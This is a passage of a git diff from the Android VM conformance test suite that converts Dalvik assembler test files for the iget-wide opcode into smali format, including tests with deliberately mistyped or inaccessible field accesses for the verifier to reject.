-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_11.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_11
-.super dot/junit/opcodes/iget_wide/d/T_iget_wide_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_wide/d/T_iget_wide_1/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       iget-wide v1, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_1.p1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_11.smali
new file mode 100644
index 0000000..66615af
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_11.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_11;
+.super  Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       iget-wide v1, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;->p1:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_12.d
deleted file mode 100644
index 9a2cc44..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_12.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_12
-.super dot/junit/opcodes/iget_wide/d/T_iget_wide_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_wide/d/T_iget_wide_1/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       iget-wide v1, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_1.pvt1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_12.smali
new file mode 100644
index 0000000..ed406ac
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_12.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_12;
+.super  Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       iget-wide v1, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;->pvt1:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_13.d
deleted file mode 100644
index 63affb6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_13.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_13
-.super java/lang/Object
-
-.field public  i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_13.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_13.smali
new file mode 100644
index 0000000..36db0c8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_13.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_13;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_14.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_14.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_14.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_14.smali
new file mode 100644
index 0000000..a87c3f2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_14;
+.super Ljava/lang/Object;
+.source "T_iget_wide_14.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iget-wide v0, p0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_15.d
deleted file mode 100644
index 5b7424b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_15.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_15
-.super java/lang/Object
-
-.field public  i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_15.smali
new file mode 100644
index 0000000..b245fab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_15.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_15;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_16.d
deleted file mode 100644
index ce37389..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_16.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_16
-.super java/lang/Object
-
-.field public  i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_16.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_16.smali
new file mode 100644
index 0000000..4b8dbc5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_16.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_16;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_17.d
deleted file mode 100644
index 1181a48..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_17.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_17
-.super java/lang/Object
-
-.field public  i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_17.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_17.smali
new file mode 100644
index 0000000..f4a381c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_17.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_17;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_18.d
deleted file mode 100644
index 03c2a0c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_18.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_18
-.super java/lang/Object
-
-.field public  i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_18.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_18.smali
new file mode 100644
index 0000000..00c0bd6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_18.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_18;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_19.d
deleted file mode 100644
index 1978e12..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_19.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_19
-.super java/lang/Object
-
-.field public  i1 F
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_19.i1 F
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_19.smali
new file mode 100644
index 0000000..f82eb67
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_19.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:F
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_19;->i1:F
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_2.d
deleted file mode 100644
index 16f9f5a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_2.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_2.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_2
-.super java/lang/Object
-
-.field public  val D
-
-.method public <init>()V
-.limit regs 3
-
-       invoke-direct {v2}, java/lang/Object/<init>()V
-       
-       const-wide v0, 123.0
-       iput-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_2.val D
-       
-       return-void
-.end method
-
-.method public run()D
-.limit regs 4
-
-       iget-wide v1, v3, dot.junit.opcodes.iget_wide.d.T_iget_wide_2.val D
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_2.smali
new file mode 100644
index 0000000..fc1c46e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_2.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_2;
+.super  Ljava/lang/Object;
+
+.field public  val:D
+
+.method public constructor <init>()V
+.registers 3
+
+       invoke-direct {v2}, Ljava/lang/Object;-><init>()V
+       
+       const-wide v0, 123.0
+       iput-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_2;->val:D
+       
+       return-void
+.end method
+
+.method public run()D
+.registers 4
+
+       iget-wide v1, v3, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_2;->val:D
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_20.d
deleted file mode 100644
index 1f3e225..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_20.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_20
-.super java/lang/Object
-
-.field public  i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_20.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_20.smali
new file mode 100644
index 0000000..5712f52
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_20.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_20;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_21.d
deleted file mode 100644
index fea700d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_21.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_21.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       
-       new-instance v0, Ldot/junit/opcodes/iget_wide/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_wide/TestStubs/<init>()V
-       
-       iget-wide v1, v0, dot.junit.opcodes.iget_wide.TestStubs.TestStubProtectedField J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_21.smali
new file mode 100644
index 0000000..6c8708f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_21.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
